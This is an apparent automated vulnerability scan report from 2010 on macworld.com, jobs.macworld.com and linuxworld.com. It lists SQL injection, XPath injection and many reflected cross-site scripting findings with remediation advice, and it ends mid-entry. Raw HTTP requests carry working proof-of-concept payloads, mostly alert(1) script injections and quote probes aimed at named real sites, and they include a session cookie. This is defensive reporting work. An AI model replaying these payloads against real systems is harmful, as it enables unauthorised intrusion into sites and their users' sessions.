The tag parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the tag parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
Request 1
GET /appguide/browse.html?tag=pinball' HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta htt ...[SNIP]...
Request 2
GET /appguide/browse.html?tag=pinball'' HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response 2
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:17:53 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:17:53 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]...
2. XPath injectionpreviousnext There are 3 instances of this issue:
XPath injection vulnerabilities arise when user-controllable data is incorporated into XPath queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Depending on the purpose for which the vulnerable query is being used, an attacker may be able to exploit an XPath injection flaw to read sensitive application data or interfere with application logic.
Issue remediation
User input should be strictly validated before being incorporated into XPath queries. In most cases, it will be appropriate to accept input containing only short alhanumeric strings. At the very least, input containing any XPath metacharacters such as " ' / @ = * [ ] ( and ) should be rejected.
The Referer HTTP header appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the Referer HTTP header, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET / HTTP/1.1 Host: jobs.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q='
The User-Agent HTTP header appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the User-Agent HTTP header, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET / HTTP/1.1 Host: jobs.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' Connection: close
2.3. http://jobs.macworld.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://jobs.macworld.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /?1'=1 HTTP/1.1 Host: jobs.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
3.1. http://www.linuxworld.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.linuxworld.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 719ec'-alert(1)-'2a98c24cd70 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?719ec'-alert(1)-'2a98c24cd70=1 HTTP/1.1 Host: www.linuxworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bafa2"><script>alert(1)</script>173152b085c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /appguide/app.htmlbafa2"><script>alert(1)</script>173152b085c?id=712263&expand=true HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:18:10 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... <iframe src="http://www.facebook.com/plugins/like.php?href=http://www.macworld.com/appguide/app.htmlbafa2"><script>alert(1)</script>173152b085c&layout=button_count&show_faces=false&width=90px;action=like&font&colorscheme=light&height=21" scrolling="no" frameborder="0" allowTransparency="true"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d1648'-alert(1)-'64a1efb658b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appguide/app.htmld1648'-alert(1)-'64a1efb658b?id=712263&expand=true HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:18:12 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e637'-alert(1)-'d43312ab656 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appguide/browse.html6e637'-alert(1)-'d43312ab656 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:17:43 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of the cat request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a59a'%3balert(1)//7863e1d715 was submitted in the cat parameter. This input was echoed as 3a59a';alert(1)//7863e1d715 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appguide/browse.html?cat=Books3a59a'%3balert(1)//7863e1d715 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:17:43 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:17:43 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... seTab(boxName) { if (boxName == 'prodbox') { hidePopup(); } }
function hidePopup() { document.getElementById("app_popup").style.display = "none"; }
// selection controls
var category = 'Books3a59a';alert(1)//7863e1d715';
var types = new Array(); var prices = new Array(); var compat = new Array(); var sort = "ratingDesc"; var sortHolder = document.getElementById("initialSort"); if (sortHolder != null) { sort ...[SNIP]...
The value of the cat request parameter is copied into the HTML document as plain text between tags. The payload 1a991<script>alert(1)</script>f8496fed78a was submitted in the cat parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /appguide/browse.html?cat=Books1a991<script>alert(1)</script>f8496fed78a HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:17:44 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:17:43 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... <span>Books1a991<script>alert(1)</script>f8496fed78a</span> ...[SNIP]...
The value of the cat request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 80c14</script><script>alert(1)</script>3d3d6cba1bf was submitted in the cat parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appguide/browse.html?cat=Books80c14</script><script>alert(1)</script>3d3d6cba1bf HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:17:42 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:17:42 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */
The value of the mfr request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a218a</script><a%20b%3dc>2e265af0bfa was submitted in the mfr parameter. This input was echoed as a218a</script><a b=c>2e265af0bfa in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appguide/browse.html?mfr=The+Washington+Post+Companya218a</script><a%20b%3dc>2e265af0bfa HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:17:55 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:17:55 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */
s.pageName="iphone app guide:chart sorted - mfr:the washington post companya218a</script><a b=c>2e265af0bfa"; s.server=""; s.channel="iphone app guide"; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3="display type:chart sorted - mfr"; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8=""; s.prop9=""; s ...[SNIP]...
The value of the mfr request parameter is copied into the HTML document as plain text between tags. The payload 76d1c<script>alert(1)</script>ee39ba6283f was submitted in the mfr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /appguide/browse.html?mfr=The+Washington+Post+Company76d1c<script>alert(1)</script>ee39ba6283f HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:18:07 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:18:08 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... <div id="mfrHolder" style="display:none">The Washington Post Company76d1c<script>alert(1)</script>ee39ba6283f</div> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 10835'-alert(1)-'8cc738af335 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appguide/collections.html10835'-alert(1)-'8cc738af335 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:19:04 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of the ' request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c322"><script>alert(1)</script>8a3487942ef was submitted in the ' parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /appguide/index.html?'5c322"><script>alert(1)</script>8a3487942ef HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:17:28 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:17:28 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... <a href="/appguide/index.html?'5c322"><script>alert(1)</script>8a3487942ef&page=2"> ...[SNIP]...
The value of the '"--></style></script><script>alert(0x001C9C)</script> request parameter is copied into the HTML document as plain text between tags. The payload 15264<script>alert(1)</script>ef6c07ae75e was submitted in the '"--></style></script><script>alert(0x001C9C)</script> parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /appguide/index.html?'"--></style></script><script>alert(0x001C9C)</script>15264<script>alert(1)</script>ef6c07ae75e HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.macworld.com
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9060d"><script>alert(1)</script>7ae31010656 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /appguide/index.html9060d"><script>alert(1)</script>7ae31010656?'"--></style></script><script>alert(0x001C9C)</script> HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.macworld.com
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3bd76'-alert(1)-'797f360d218 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appguide/index.html3bd76'-alert(1)-'797f360d218?'"--></style></script><script>alert(0x001C9C)</script> HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.macworld.com
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/appguide/index.html3bd76'-alert(1)-'797f360d218'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = '?%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x001C9C%29%3C%2Fscript%3 ...[SNIP]...
3.15. http://www.macworld.com/appguide/index.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.macworld.com
Path:
/appguide/index.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1d183<script>alert(1)</script>917ba9fbfa5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /appguide/index.html?'"--></style></script><script>alert(0x001C9C)</script>&1d183<script>alert(1)</script>917ba9fbfa5=1 HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.macworld.com
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4c8a8'-alert(1)-'1dfde4fc868 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appguide/search.html4c8a8'-alert(1)-'1dfde4fc868 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:18:00 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f24db'-alert(1)-'9e6d8143b7f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156358/2010f24db'-alert(1)-'9e6d8143b7f/12/ipad_superguide_first_edition.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:02 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:02 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88a87'-alert(1)-'3c9aac06c8e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156358/2010/1288a87'-alert(1)-'3c9aac06c8e/ipad_superguide_first_edition.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:16 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:16 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload be5ab'-alert(1)-'0f2ec880c0b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156358/2010/12/ipad_superguide_first_edition.htmlbe5ab'-alert(1)-'0f2ec880c0b HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:28 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... = 'null' != Logon.userEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/156358/2010/12/ipad_superguide_first_edition.htmlbe5ab'-alert(1)-'0f2ec880c0b'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bf5c5'-alert(1)-'669113bd8f8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
